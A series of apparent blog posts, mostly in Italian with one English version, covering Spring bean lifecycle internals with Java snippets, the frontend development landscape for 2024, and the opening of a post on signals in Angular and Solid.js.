Se utilizziamo l'iniezione delle dipendenze tramite costruttore, è proprio in questo punto che vengono importate nell'istanza wrapper ritornata. D'altra parte, utilizzando l'annotazione @Autowired per l'iniezione delle dipendenze, il processo è leggermente diverso. Le dipendenze verranno inizializzate nel metodo populateBean() della classe AbstractAutowireCapableBeanFactory, più precisamente all'interno del metodo postprocessProperty(). Quest'ultimo metodo, a sua volta, invoca doResolveDependency() per risolvere le dipendenze richieste.

Una volta terminato il populateBean() verrà chiamato initializeBean() della classe AbstractAutowireCapableBeanFactory che prende il BeanName e l'istanza del bean creata precedentemente. Questo sarà il metodo che si occuperà di applicare i beanPostProcessor in modo da dinamicizzare e modificare l’istanza finale del bean.

Dopo aver invocato l’initializeBean(), si attivano due fasi che definiscono il comportamento del bean appena inizializzato:

applyBeanPostProcessorsBeforeInitialization: Questo metodo applica i BeanPostProcessor agendo in base alla logica definita nel metodo postProcessBeforeInitialization(). Qui, i BeanPostProcessor hanno l'opportunità di manipolare e personalizzare il bean prima che vengano eseguite le cosiddette callbacks di inizializzazione quali afterPropertySet() ed eventuali init-method custom.

@Nullable
protected Object applyBeanPostProcessorsBeforeInstantiation(Class<?> beanClass, String beanName) {
    for (InstantiationAwareBeanPostProcessor bp : getBeanPostProcessorCache().instantiationAware) {
       Object result = bp.postProcessBeforeInstantiation(beanClass, beanName);
       if (result != null) {
          return result;
       }
    }
    return null;
}

applyBeanPostProcessorsAfterInitialization: In questa fase, i BeanPostProcessor operano in base alla logica contenuta nel metodo postProcessAfterInitialization(). Qui, i BeanPostProcessor intervengono a seguito delle callbacks di cui sopra.

@Override
public Object applyBeanPostProcessorsAfterInitialization(Object existingBean, String beanName)
       throws BeansException {

    Object result = existingBean;
    for (BeanPostProcessor processor : getBeanPostProcessors()) {
       Object current = processor.postProcessAfterInitialization(result, beanName);
       if (current == null) {
          return result;
       }
       result = current;
    }
    return result;
}

Infine, una volta che tutti i bean sono stati inizializzati con le loro dipendenze, e i BeanPostProcessor sono stati applicati, si conclude il flusso di aggiornamento con il metodo finishRefresh(). Questo metodo esegue una serie di operazioni essenziali:

Inizia eseguendo l'operazione di pulizia delle cache e l'inizializzazione del LifecycleProcessor che implementa i metodi onRefresh() e onClose() gestendo le due fasi.
Successivamente, notifica il LifecycleProcessor dell'avvenuto aggiornamento dell’applicationContext.
Infine, pubblica un ContextRefreshedEvent, segnalando che il contesto è ora completamente inizializzato e pronto per l'uso.

In sintesi, finishRefresh() è il punto finale che assicura che il contesto sia pronto e operativo dopo l'aggiornamento.

ApplicationListener

Dopo aver discusso dell'importanza dei BeanFactoryPostProcessor e dei BeanPostProcessor nell'inizializzazione e nella manipolazione dei bean all'interno dell'applicazione è importante esplorare anche il ruolo degli ApplicationListener<E extends ApplicationEvent> i quali forniscono un meccanismo per la gestione degli eventi permettendo di definire azioni specifiche da eseguire in risposta a eventi, come l'avvio, l'arresto, il refresh o la chiusura dell'applicazione.

Di seguito un elenco delle possibili specializzazioni di ApplicationEvent:

ApplicationContextEvent: ogni evento del contesto dell'applicazione.
ContextClosedEvent: chiusura dell'applicazione.
ContextRefreshedEvent: aggiornamento del contesto dell'applicazione.
ContextStartedEvent: avvio dell'applicazione.
ContextStoppedEvent: interruzione dell'applicazione.
PayloadApplicationEvent: invio di payload personalizzati con gli eventi.

public class CustomApplicationListener implements ApplicationListener<ApplicationContextEvent> {

    @Override
    public void onApplicationEvent(ApplicationContextEvent event) {
        System.out.println(event.getClass() + " Event Class");
    }
}

Dunque, l'utilizzo di ApplicationListener aggiunge un ulteriore livello di personalizzazione e controllo sul comportamento dell'applicazione in risposta agli eventi che si verificano durante la sua esecuzione.

Conclusioni

In conclusione, abbiamo esplorato in dettaglio il processo interno di creazione dei bean all'interno del framework Spring. Da quando istanziamo un AnnotationConfigApplicationContext fino al completamento del metodo finishRefresh(), abbiamo analizzato ogni fase critica del ciclo di vita dei bean e della bean factory e come interagire a runtime con questi due componenti essenziali rispettivamente tramite i BeanPostProcessor ed i BeanFactoryPostProcessor.

Abbiamo visto come Spring gestisce la registrazione dei bean attraverso la lettura delle annotazioni, la scansione delle classi e dei packages, e infine come completa il processo di inizializzazione garantendo che il contesto sia completamente pronto per l'uso.

Questo approfondimento ci ha fornito una panoramica completa del funzionamento interno di Spring e ci ha permesso di comprendere meglio come questo framework potente e flessibile implementa il pattern IoC tramite la gestione delle dipendenze e la creazione dei bean nelle applicazioni Java.

Panorama Frontend nel 2024

Fri, 20 Oct 2023 00:00:00 GMT

Il panorama del frontend nel 2024 offre agli sviluppatori un vasto assortimento di tecnologie, comprese librerie, framework, linguaggi e ecosistemi. Ma, in sostanza, cosa dovrebbe conoscere e padroneggiare uno sviluppatore frontend al fine di diventare una risorsa inestimabile per la sua organizzazione? Come ci si orienta in questo mondo in continua evoluzione? Questo articolo è pensato per essere una guida utile sia per i neofiti nel campo della programmazione che per gli sviluppatori esperti, fornendo un quadro il più possibile completo del complesso mondo dello sviluppo frontend. Vengono esplorate numerose strade percorribili, accompagnate da consigli, strategie e risorse, allo scopo di facilitare la navigazione e il successo in questo contesto dinamico e in continua evoluzione.

CSS

Il CSS moderno non è più un insieme di semplici fogli di stile volti a migliorare l'aspetto delle applicazioni web. Esso ha assimilato le lezioni apprese dai pre-processori e dal CSS-in-JS, trasformandosi in un "linguaggio di programmazione" quasi completo. Oggi, il CSS dispone di strumenti di layouting per il web senza paragoni, offrendo agli sviluppatori un'incredibile facilità nel personalizzare i componenti, sfruttando logiche che in passato richiedevano necessariamente l'uso di JavaScript. Questa evoluzione ha reso il CSS un potente alleato nel mondo dello sviluppo web, consentendo di creare esperienze utente sofisticate e altamente personalizzate in modo efficiente ed elegante.

Da target a source

Come accennato in precedenza, il CSS ha appreso dagli insegnamenti dei pre-processori. In effetti, nell'attuale panorama di sviluppo web, l'utilizzo di SASS o SCSS nei progetti è diventato essenziale, grazie alla loro facilità di composizione e semplificazione semantica. Per colmare questa lacuna, nel css moderno sono stati introdotti nuovi strumenti:

Nested rules - Per semplificare la vita dello sviluppatore
Cascading variables - Per rendere la customizzazione dello stile più facile e veloce
More math functions - Perchè non aggiungerle?

Inoltre, il CSS ha integrato gli insegnamenti dei CSS Modules, introducendo:

@layer - Crea layer e definisce l'ordine di precedenza nel caso di più layer.
:where() - Da una lista di selettori seleziona qualsiasi elemento descritto da uno dei selettori della lista.
:is - Da una lista di selettori seleziona qualsiasi elemento che può essere selezionato da uno dei selettori della lista.

Più potente che mai

Il CSS ha subito una trasformazione incredibile, diventando estremamente potente grazie anche a Grid e Flexbox. Queste proprietà hanno rivoluzionato la gestione del layout delle pagine web, offrendo ai designer e agli sviluppatori un controllo preciso ed efficiente sulla disposizione degli elementi. In aggiunta, l'introduzione di nuove proprietà ha reso possibile l'integrazione di funzionalità a lungo attese, consentendo agli sviluppatori di regolare lo stile in risposta al comportamento dell'utente, il tutto senza la necessità di scrivere script aggiuntivi.

containment - Migliora le prestazioni web consentendo al browser di isolare diversi sottoalberi della pagina.
:has() - Il famoso selettore padre
Logical properties (LTR vs RTL)
@container - Applica stili a un elemento in base alle dimensioni del contenitore dell'elemento.
[ inert ] - Attributo booleano che indica che il browser ignorerà l'elemento.

Naturalmente, il CSS continua a perfezionare la sua funzione originale di foglio di stile, aggiungendo nuove caratteristiche per adattarsi ai nuovi approcci al colore e garantire la massima compatibilità:

oklch()
oklab()
hwb() - Esprime un colore sRGB in base alla sua tonalità (hue), luminosità (whiteness), e nero (blackness).
color()
color-contrast() - Per trovare il colore di contrasto

Hyper-responsive™ Web Design

Ultimo, ma certamente non meno importante, il CSS offre oggi la possibilità di sviluppare applicazioni hyper-responsive. Non ci si limita più ad adattare semplicemente il layout alle dimensioni dello schermo, ma si è in grado di personalizzarlo in base alle caratteristiche del dispositivo e alle preferenze dell'utente, il tutto con un'attenzione particolare all'accessibilità. Di seguito le novità responsive:

Dynamic viewport units - Viewport si adatta automaticamente alle dimensioni del browser che si espande o si ritrae dinamicamente
env(Device safe areas) - Tiene conto dell'interfaccia dell'ambiente, come la barra di ricerca browser su mobile.
@media (pointer) - Per decidere come rispondere alla precisione del puntatore
@media (hover) - Per conoscere se il dispositivo permette l'hover.

E le novità in merito di accessibilità:

prefers-reduced-motion - Per ridurre o togliere le animazioni di movimento.
prefers-contrast - Per disegnare contenuto ad alto o basso contrasto in base all'utente.

In conclusione, nel 2024 è di cruciale importanza esplorare il CSS in profondità o, se si sta iniziando ora il percorso nello sviluppo Frontend, apprenderlo con tutte le sue sfaccettature. Il CSS "vanilla" rappresenta uno strumento fondamentale che deve far parte dell'arsenale di ogni sviluppatore Frontend, in quanto alleato fondamentale per la creazione di prodotti web di standard altissimo.

Libraries, UI Kits & Design Systems Non più “se” ma “quale”

Nonostante la crescente potenza del CSS, l'idea di creare un progetto senza l'uso di libreria, UI-kit o design system è oggi impensabile. Scrivere manualmente lo stile di un'intera applicazione sembra quasi una sfida insormontabile e soprattutto inutile, considerando la vasta gamma di librerie, spesso open source, create specificatamente per soddisfare le diverse esigenze. Per comprendere perché si è giunti allo sviluppo di queste librerie, si deve fare un salto indietro nel tempo.

Nel 2010 cominciano ad emergere i primi framework JavaScript. La strategia vincente di AngularJS sta nel riconoscere che chi scrive l'HTML è anche colui che scrive JavaScript stesso. Nel frattempo, il team di Facebook (ora Meta) intuisce che stimolare il riuso è la chiave: nascono i componenti. Il trittico di HTML, JavaScript e CSS inizia così a fondersi in un'unica entità, e nasce React, che va ad unire i primi due.

Immagine 1 - La nascita di React

Si capisce presto che è inutile mantenere separato il CSS dai componenti, e così nascono gli Styled Components. Tuttavia, nonostante il loro iniziale successo, ci si rende conto che se è necessario comunque creare il componente (nell'esempio, DropdownItem), tanto vale definire contestualmente anche il CSS. Si scopre così una sorta di "separation of concerns" fasulla: si scrivono componenti puramente orientati all'UI e componenti di logica che però si trovano nella stessa pagina. L'approccio CSS-in-JS si rivela un insuccesso.

Immagine 2 - Funzionamento degli Styled Components

Arriviamo ad oggi dove migliaia di librerie semplificano la vita degli sviluppatori. Si sta rovesciando il paradigma: il problema non è più dove posizionare il CSS, ma il linguaggio stesso. Nasce Tailwind, che rivoluziona il modo in cui vengono stilizzati i componenti. Non c'è più bisogno di un foglio di stile dove mettere le classi, ne vengono utilizzate di predefinite fornite direttamente dalla libreria stessa, immediatamente utilizzabili nell'html. Si è giunti a una sorta di "merge of concerns", dove stile e scripting vengono incorporati direttamente nella DOM. Nonostante possa sembrare un'eresia per uno sviluppatore CSS esperto, la situazione è chiara: non sono più le librerie che si adattano alle best practices, ma piuttosto viceversa.

Immagine 3 - Tailwind

Spesso, gli sviluppatori integrano e utilizzano le librerie di stile in modo completo, ma raramente riescono a conciliarle con la necessità di accessibilità e user experience. Per colmare questa lacuna, sono state create le librerie Headless/Unstyled, che forniscono solamente il comportamento dei componenti, ovvero la logica necessaria per garantire agli utenti un'esperienza di alta qualità e tutte le funzionalità per l'accessibilità. Questo consente ai programmatori di concentrarsi esclusivamente sullo stile e sull'integrazione nell'applicazione, garantendo comunque un livello eccellente di accessibilità e user experience.

Immagine 4 - Librerie Headless

Di seguito un elenco delle risorse più famose/valide per categoria:

Utility Libraries

Tailwind (CSS)

CSS-in-JS

Styled Components (React), Emotion (React), Styled System (React)

Headless/unstyled UI Libraries

MUI Base UI (React), Ariakit (by Vercel; React), Headless UI (by Tailwind Labs; React, Vue), Radix Primitives (ex Radix UI, by WorkOS; React), TanStack Query, TanStack Table, TanStack Virtual (React, cross)

UI Kits

Bootstrap (CSS, Vanilla), ng-bootstrap (Angular), React Bootstrap (React), Reactstrap (React), Lexicon (by Liferay), Clay UI (by Liferay, official; CSS, React)

Material Design (by Google) : Materialize CSS (Vanilla), MUI Material UI (React), Material Web (by Google, official; Web Components, CSS), Angular Material (Angular)

Ionic Framework (by Ionic; React, Angular, Vue, Web Components)

Ecosystem-agnostic component infrastructure

Builder.io (PAAS), Mitosis by Builder.io, Bit, Stencil.js by Ionic, Open-UI by Microsoft

Ecosistemi front-end L'unica soluzione efficace?

Immagine 5 - Gli Ecosistemi più conosciuti

Il fulcro dello sviluppo frontend odierno ruota attorno all'adozione di un ecosistema come solida base per qualsiasi progetto. Per ecosistema frontend, si intende uno dei principali framework JavaScript come React, Angular, Solid e tutte le risorse collegate, tra cui documentazione, tutorial e community.

L'utilizzo di un ecosistema risulta imprescindibile in ogni progetto a causa delle sue caratteristiche uniche che semplificano notevolmente la vita degli sviluppatori.

Innanzitutto, gli ecosistemi mettono a disposizione tutti gli strumenti necessari per la creazione di un'applicazione in un unico ambiente, consentendo poi di integrare le funzionalità necessarie attraverso librerie compatibili. Un ulteriore vantaggio è la sicurezza e la conformità agli standard, che vengono implementate automaticamente nel progetto e si mantengono aggiornate al costo di seguire le versioni più recenti.

Un altro beneficio è la capacità di scrivere codice che produce eseguibili cross-browser, liberando lo sviluppatore da molte delle sfide e delle problematiche legate alla compatibilità tra browser. Infine, l'accesso a vaste community costituisce l'ennesimo punto di forza. Nel caso si riscontrino problemi, basta cercare online per trovare soluzioni, e se un problema non è stato ancora affrontato da qualcun altro, è possibile porre domande sui forum dedicati, usufruendo dell'esperienza collettiva di altri sviluppatori.

Web Frameworks Convergenza e DX

Oltre all'impiego di un ecosistema frontend, l'adozione di un web framework offre agli sviluppatori la possibilità di introdurre strati di complessità nella loro applicazione senza eccessive difficoltà, mantenendo il progetto ergonomico.

In particolare, l'integrazione di un web framework agevola il rendering lato client o lato server, senza la necessità di partire da zero nella creazione della logica. Essi mettono a disposizione funzioni e hook per il recupero dei dati, che possono essere facilmente integrati nel codice. Inoltre facilitano la gestione del routing dell'applicazione fornendo funzioni e codice pronto. In aggiunta, i framework semplificano l'integrazione di librerie e kit di interfaccia utente (UI kit) e offrono un processo di build e configurazione agevolato (un esempio evidente è la quasi deprecazione di create-react-app).

In questo panorama si osserva una marcata convergenza. Sebbene ciascun framework sia stato originariamente concepito per affrontare esigenze specifiche, è diventato chiaro che ciò che veniva risolto da uno mancava in un altro. Di conseguenza, oggi tutti i principali framework hanno allineato le proprie funzionalità, integrando quasi tutti le stesse caratteristiche essenziali, come evidenziato nell'elenco seguente.

Immagine 6 - La convergenza dei framework

Immagine 7 - Developer experience nei web framework

Di seguito un elenco delle risorse più famose e valide per categoria:

Modern React frameworks:

Remix (React), Next.js (React), Nuxt (Vue), Gatsby (React), Docusaurus (React) , Vite (agnostic)

Altri web framework:

SvelteKit (Svelte), VuePress (Vue), SolidStart (Solid) (beta), Eleventy, Phoenix LiveView (Elixir/Erlang)

Hybrid Application Development A codebase to rule them all

Nel mondo dello sviluppo mobile, si sta assistendo a un significativo cambiamento verso lo sviluppo di applicazioni ibrido. Le novità di rilievo in questo campo sono le PWA (Progressive Web Applications). Le PWA sono essenzialmente applicazioni web che, quando aperte tramite browser su un dispositivo mobile, offrono un'esperienza simile a quella delle applicazioni native. Queste possono essere aggiunte alla schermata home del dispositivo e, solo di recente anche sui dispositivi Apple, sono in grado di inviare notifiche e svolgere gran parte delle funzioni delle app native. Le PWA stanno guadagnando popolarità in quanto non richiedono installazione, non occupano spazio sui dispositivi e la loro performance è meno dipendente dalle specifiche del dispositivo stesso.

Se le PWA non sembrano la soluzione ideale per il vostro progetto, la scelta più logica è lo sviluppo su una piattaforma ibrida, che consente di utilizzare una sola code-base per creare eseguibili sia per Android che per iOS. L'utilizzo di framework come React Native offre la possibilità di sviluppare un'applicazione per diversi sistemi operativi in un unico posto. Inoltre, questa approccio consente una maggiore flessibilità nella condivisione di sviluppatori tra progetti, poiché un esperto di React può facilmente acquisire le competenze necessarie per sviluppare in React Native e viceversa.

Infine, va menzionato che esistono situazioni particolari in cui è ancora vantaggioso sviluppare un'applicazione per un solo sistema operativo, come applicazioni di editing, design e disegno, o qualsiasi altra applicazione che richieda un utilizzo intensivo delle risorse. Queste traggono beneficio dall'essere sviluppate con framework di più basso livello che consentono di sfruttare appieno le performance del dispositivo. In questi casi, Android Studio con Kotlin o Swift nel mondo Apple rimangono scelte imbattibili.

L'ascesa di Typescript, WASM all'orizzonte

Immagine 8 - Linguaggi e standard

Negli ultimi anni, si è verificata una vera e propria rivoluzione nell'ambito dei linguaggi e degli standard utilizzati nello sviluppo web e frontend. Un punto di riferimento imprescindibile è rappresentato da TypeScript, ormai imprescindibile nello sviluppo frontend e fondamentale da conoscere. Va notato che molte delle tecnologie menzionate precedentemente sono state sviluppate proprio utilizzando TypeScript. JavaScript stesso è in continua evoluzione, indroducendo numerose nuove funzionalità, tra cui nuovi metodi per la gestione degli array e Temporal, un sostituto di Date che offre metodi molto più intuitivi per la gestione e la conversione delle date.

Un'altra rivoluzione nel mondo dello sviluppo web è rappresentata da WebAssembly, che introduce un nuovo standard per la compilazione del codice, sfruttando il browser stesso come runtime. Ogni linguaggio di programmazione viene eseguito in maniera differente: i linguaggi di basso livello come C, C++, Golang e Rust vengono compilati ed eseguiti direttamente dal sistema operativo, garantendo efficienza. D'altra parte, linguaggi come Java, C# e il mondo .NET venivano compilati in bytecode intermedio, poi eseguito da una virtual machine o da un runtime. Infine, i linguaggi di alto livello, come i linguaggi di scripting (ad esempio JavaScript, Python, Ruby, PHP), vengono eseguiti just-in-time, un approccio che risulta generalmente meno efficiente. WebAssembly consente a ciascun linguaggio di essere compilato in bytecode (WebAssembly), consentendo a tutti i browser dotati di un runtime apposito di poi eseguirlo, risparmiando risorse e offrendo applicazioni più veloci.

Altra innovazione di rilievo nel mondo del web è WebGPU, uno standard che consente ai browser di sfruttare la grande potenza di calcolo delle GPU. Questo apre la strada a tutte le applicazioni web che richiedono elevate prestazioni e un notevole utilizzo di risorse.

Infine, meritano una menzione i progressi del linguaggio Rust, che, grazie a framework come Rocket, Tide e Nickel, si sta facendo strada anche nel mondo dello sviluppo frontend. Questa evoluzione consente la creazione di applicazioni altamente sicure e performanti.

Conclusioni

In chiusura, emerge chiaramente che il mondo del frontend nel 2024 è vastissimo e in costante espansione. Sebbene questa vastità possa sembrare intimidatoria, diventare uno sviluppatore frontend non è mai stato così accessibile: le community sono coese, c'è una vasta gamma di librerie e framework da esplorare, il tutto supportato dalla costante introduzione di nuovi standard e tecnologie. Dopo aver acquisito le basi (HTML, CSS e JavaScript), si apre un ampio oceano di opportunità tra cui scegliere, c’è sicuramente qualcosa che si adatterà al vostro stile.

The state of Front-end in 2024

Fri, 20 Oct 2023 00:00:00 GMT

In 2024, the frontend landscape offers developers a vast array of technologies, including libraries, frameworks, languages, and ecosystems. But, fundamentally, what should a frontend developer know and master to become an invaluable asset to their organization? How does one navigate this ever-evolving world?

This article is intended to be a useful guide for both newcomers to the programming field and experienced developers, providing as comprehensive a framework as possible for the complex world of frontend development. Numerous paths are explored, accompanied by advice, strategies, and resources, with the aim of facilitating navigation and success in this dynamic and continually evolving context.

CSS

From target to source

As mentioned earlier, CSS has learned from the teachings of preprocessors. In fact, in the current web development landscape, the use of SASS or SCSS in projects has become essential, thanks to their ease of composition and semantic simplification. To address this gap, modern CSS has introduced new tools:

Nested rules - To make dev's life easier.
Cascading variables - To make style customization faster.
More math functions - Why not?

Furthermore, CSS has incorporated the lessons from modules, introducing:

@layer - Create layers and define the order of precedence in case of multiple layers.
:where() - From a list of selectors, select any element described by one of the selectors in the list.
:is - From a selector list, select any element that can be selected by one of the selectors in that list.

More powerful than ever

CSS has undergone an incredible transformation, becoming extremely powerful, thanks in part to Grid and Flexbox. These properties have revolutionized the management of web page layouts, providing designers and developers with precise and efficient control over element positioning. Additionally, the introduction of new properties has made it possible to integrate long-awaited features, allowing developers to adjust styles in response to user behavior, all without the need for additional scripting.

containment - Improve web performance by allowing the browser to isolate different subtrees of the page.
:has() - The famous parent selector.
Logical properties (LTR vs RTL)
@container - Apply styles to an element based on the size of the element's container.
[ inert ] - Boolean attribute indicating that the browser will ignore the element.

Of course, CSS continues to refine its original role as a stylesheet, adding new features to adapt to new color approaches and ensure maximum compatibility:

oklch()
oklab()
hwb() - Expresses an sRGB color based on its hue, whiteness, and blackness.
color()
color-contrast() - To find the contrast color.

Hyper-responsive™ Web Design

Last but certainly not least, CSS now enables the development of hyper-responsive applications. It's no longer limited to merely adjusting the layout to screen sizes, but it can be customized based on device characteristics and user preferences, all with a keen focus on accessibility.

Here are the responsive updates:

Dynamic viewport units - Viewport si adatta automaticamente alle dimensioni del browser che si espande o si ritrae dinamicamente
env(Device safe areas) - Tiene conto dell'interfaccia dell'ambiente, come la barra di ricerca browser su mobile.
@media (pointer) - Per decidere come rispondere alla precisione del puntatore
@media (hover) - Per conoscere se il dispositivo permette l'hover.

And the accessibility-related innovations:

prefers-reduced-motion - Per ridurre o togliere le animazioni di movimento.
prefers-contrast - Per disegnare contenuto ad alto o basso contrasto in base all'utente.

In conclusion, in 2024, it is of crucial importance to delve deep into CSS or, if you are just embarking on the frontend development journey, to learn it comprehensively. "Vanilla" CSS is an essential tool that should be in the toolkit of every frontend developer, serving as a fundamental ally for crafting high-standard web products.

Libraries, UI Kits & Design Systems, No longer "if," but "which."

Despite the growing power of CSS, the idea of creating a project without using a library, UI kit, or design system is now unthinkable. Manually writing the style for an entire application seems like an almost insurmountable challenge and, above all, unnecessary, given the wide range of libraries, often open source, created specifically to meet various needs. To understand why these libraries have become a staple, we must take a step back in time.

In 2010, the first JavaScript frameworks began to emerge. AngularJS's winning strategy lies in recognizing that those who write HTML are also the ones writing JavaScript. Meanwhile, the Facebook team (now Meta) realized that encouraging reusability is the key, giving birth to components. The trio of HTML, JavaScript, and CSS started to merge into a single entity, and React was born, uniting the first two.

Image 1 - React's birth

It quickly becomes evident that maintaining CSS separately from components is futile, giving rise to Styled Components. However, despite their initial success, it is realized that if you need to create the component (in this example, DropdownItem) anyway, you might as well define the CSS contextually. This leads to a sort of false "separation of concerns": purely UI-oriented components are written alongside logic components that are located on the same page. The CSS-in-JS approach proves to be a failure.

Image 2 - Styled Components

Fast forward to today, where thousands of libraries simplify the lives of developers. The paradigm is shifting: the problem is no longer where to place the CSS but the language itself. Enter Tailwind, which revolutionizes how components are styled. There is no longer a need for a separate stylesheet to hold classes; predefined classes provided by the library itself can be used directly in the HTML. This has led to a sort of "merge of concerns," where style and scripting are incorporated directly into the DOM. Although it may seem heretical to an experienced CSS developer, the situation is clear: it's no longer libraries conforming to best practices, but rather the other way around.

Image 3 - Tailwind

Often, developers fully integrate and utilize libraries, but they rarely manage to reconcile them with the need for accessibility and user experience. To bridge this gap, Headless/Unstyled libraries have been created, offering only the component behavior, which is the logic required to ensure a high-quality user experience and all the accessibility features. This allows programmers to focus solely on style and integration within the application, while still ensuring an excellent level of accessibility and user experience.

Image 4 - Headless Libraries

Below is a list of the most well-known and valuable resources by category:

Utility Libraries

Tailwind (CSS)

CSS-in-JS

Styled Components (React), Emotion (React), Styled System (React)

Headless/unstyled UI Libraries

UI Kits

Bootstrap (CSS, Vanilla), ng-bootstrap (Angular), React Bootstrap (React), Reactstrap (React), Lexicon (by Liferay), Clay UI (by Liferay, official; CSS, React)

Material Design (by Google) : Materialize CSS (Vanilla), MUI Material UI (React), Material Web (by Google, official; Web Components, CSS), Angular Material (Angular)

Ionic Framework (by Ionic; React, Angular, Vue, Web Components)

Ecosystem-agnostic component infrastructure:

Builder.io (PAAS), Mitosis by Builder.io, Bit, Stencil.js by Ionic, Open-UI by Microsoft

Front-end ecosystems: The only effective solution?

Image 5 - Most famous Ecosystems

The cornerstone of modern frontend development revolves around adopting an ecosystem as a solid foundation for any project. By a frontend ecosystem, we mean one of the major JavaScript frameworks like React, Angular, Solid, and all the associated resources, including documentation, tutorials, and community.

The adoption of an ecosystem is indispensable in every project due to its unique characteristics that significantly simplify the lives of developers. Firstly, ecosystems provide all the necessary tools for creating an application within a single environment, enabling the integration of necessary features through compatible libraries. Another advantage is the automatic implementation of security and standards compliance in the project, which remains up-to-date as long as you stay in sync with the latest versions.

An additional benefit is the ability to write code that produces cross-browser executables, freeing developers from many of the challenges and compatibility issues associated with different browsers. Lastly, access to vast communities is yet another strength. In case issues arise, one can simply search online for solutions, and if a problem hasn't been tackled by someone else, questions can be posed on dedicated forums, making use of the collective experience of other developers.

Web Frameworks Convergenza e DX

In addition to the adoption of a frontend ecosystem, the use of a web framework provides developers with the ability to introduce layers of complexity into their application without excessive effort while maintaining an ergonomic project.

Specifically, the integration of a web framework facilitates client-side or server-side rendering without the need to start from scratch in creating the logic. These frameworks offer functions and hooks for data retrieval that can be easily integrated into the code. Moreover, they simplify the management of application routing by providing ready-made functions and code. Additionally, frameworks streamline the integration of libraries and user interface kits (UI kits) and offer a simplified build and configuration process (an evident example being the almost deprecation of create-react-app).

In this landscape, a marked convergence is observed. Although each framework was originally conceived to address specific needs, it has become clear that what one framework solved was missing in another. Consequently, today all major frameworks have aligned their functionalities, incorporating almost the same essential features, as highlighted in the following list.

Image 6 - Web Frameworks convergence

Image 7 - Developer experience in web frameworks

Here is a list of the most famous and valuable resources by category:

Modern React frameworks:

Remix (React), Next.js (React), Nuxt (Vue), Gatsby (React), Docusaurus (React) , Vite (agnostic)

Other web frameworks:

SvelteKit (Svelte), VuePress (Vue), SolidStart (Solid) (beta), Eleventy, Phoenix LiveView (Elixir/Erlang)

Hybrid Application Development, A codebase to rule them all

In the realm of mobile development, a significant shift towards hybrid application development is underway. A notable development in this field is the PWA (Progressive Web Applications). PWAs are essentially web applications that, when opened through a mobile browser, offer an experience similar to native applications. These can be added to the device's home screen and, more recently, on Apple devices as well. PWAs have the capability to send notifications and perform most functions of native apps. They are gaining popularity due to their no-installation requirement, minimal device storage footprint, and reduced dependence on device specifications for performance.

If PWAs don't seem like the ideal solution for your project, the logical choice is to opt for hybrid platform development, enabling the use of a single codebase to create executables for both Android and iOS. Utilizing frameworks such as React Native offers the flexibility to develop an application for different operating systems in one place. Moreover, this approach allows for easier developer sharing across projects, as a React expert can readily acquire the skills necessary for React Native development, and vice versa.

Finally, it's worth mentioning that there are specific scenarios where it's still advantageous to develop an application for a single operating system. Applications like editing, design, and drawing, or any other resource-intensive applications, benefit from being developed with lower-level frameworks that fully exploit the device's performance. In such cases, Android Studio with Kotlin and Swift in the Apple ecosystem remain unbeatable choices.### L'ascesa di Typescript, WASM all'orizzonte

The Rise of TypeScript, WASM is on the Horizon

Image 8 - Languages and Standard

In recent years, there has been a true revolution in the realm of languages and standards used in web and frontend development. An indispensable reference point in this context is TypeScript, which has become essential in frontend development and a fundamental language to be acquainted with. It's worth noting that many of the previously mentioned technologies were developed using TypeScript. JavaScript itself is continually evolving, introducing numerous new features, including new methods for array management and Temporal, a replacement for Date that offers more intuitive methods for date management and conversion.

Another revolution in the world of web development is represented by WebAssembly, which introduces a new standard for code compilation, utilizing the browser itself as the runtime. Each programming language is executed differently: low-level languages like C, C++, Golang, and Rust are compiled and executed directly by the operating system, ensuring efficiency. On the other hand, languages like Java, C#, and the .NET world are compiled into intermediate bytecode, which is then executed by a virtual machine or runtime. Finally, high-level languages like scripting languages (e.g., JavaScript, Python, Ruby, PHP) are executed just-in-time, an approach that is generally less efficient. WebAssembly allows each language to be compiled into bytecode (WebAssembly), enabling all browsers equipped with the appropriate runtime to execute it, saving resources and providing faster applications.

Another significant innovation in the web world is WebGPU, a standard that enables browsers to leverage the immense computational power of GPUs. This opens the door to all web applications that require high performance and substantial resource usage.

Finally, it's worth mentioning the progress of the Rust language, which, thanks to frameworks like Rocket, Tide, and Nickel, is making its way into the world of frontend development. This evolution allows for the creation of highly secure and performant applications.

Conclusioni

In conclusion, it's evident that the world of frontend development in 2024 is vast and continually expanding. While this breadth may appear daunting, becoming a frontend developer has never been more accessible. Cohesive communities, a wide array of libraries and frameworks to explore, all supported by the constant introduction of new standards and technologies, make it an exciting field to be part of. After mastering the fundamentals (HTML, CSS, and JavaScript), a vast ocean of opportunities opens up, and there is undoubtedly something that will suit your style.

I segnali arrivano su Angular

Mon, 27 Mar 2023 00:00:00 GMT

Di recente, è ripresa una discussione tra gli sviluppatori frontend, soprattutto quelli del mondo JavaScript, su una primitiva che presto verrà introdotta in alcuni dei più famosi framework come Angular e React: i segnali. Questo dibattito ha radici storiche e si concentra sull'utilizzo dei segnali come un modo per gestire gli eventi e lo stato delle applicazioni in modo più efficiente. Si sta quindi valutando se l'adozione dei segnali rappresenti l'aggiunta di una feature utile per gli sviluppatori, o l'ennesimo opt-in che lasciato in mani poco esperte può creare applicazioni difficili da scalare e piene di spaghetti code. Che gli sviluppatori lo vogliano o meno, i segnali sono in arrivo, e guadagnano sempre più popolarità grazie ad una sintassi chiara e semplice e alla predisposizione per la reattività.

La storia dei segnali

Nonostante la notorietà acquisita negli ultimi mesi, i segnali sono un concetto nato all'inizio dell'informatica, con i primi sistemi Unix che li utilizzano ancora per inviare notifiche tra processi in modo efficiente. I segnali hanno preso piede grazie alle prime ricerche svolte sulla programmazione reattiva, per poi essere implementati anche dagli amati framework dichiarativi JavaScript, spesso con nomi e logiche diverse, per permettere allo sviluppatore di gestire lo stato dell'applicazione e garantire un rilevamento delle modifiche e una renderizzazione puntuale, quindi efficente. Il pioniere dell'implementazione dei segnali in chiave moderna è sicuramente Solid.js, che utilizza i segnali per lo sviluppo di programmazione reattiva, consentendo l'utilizzo di reattività a grana fine (ovvero in dettaglio).

Ma cosa sono i segnali?

Solid.js definisce i segnali in questo modo:

"I segnali sono la pietra miliare della reattività in Solid. Contengono valori che cambiano nel tempo; quando modifichi il valore di un segnale, esso aggiorna automaticamente tutto ciò che lo utilizza."

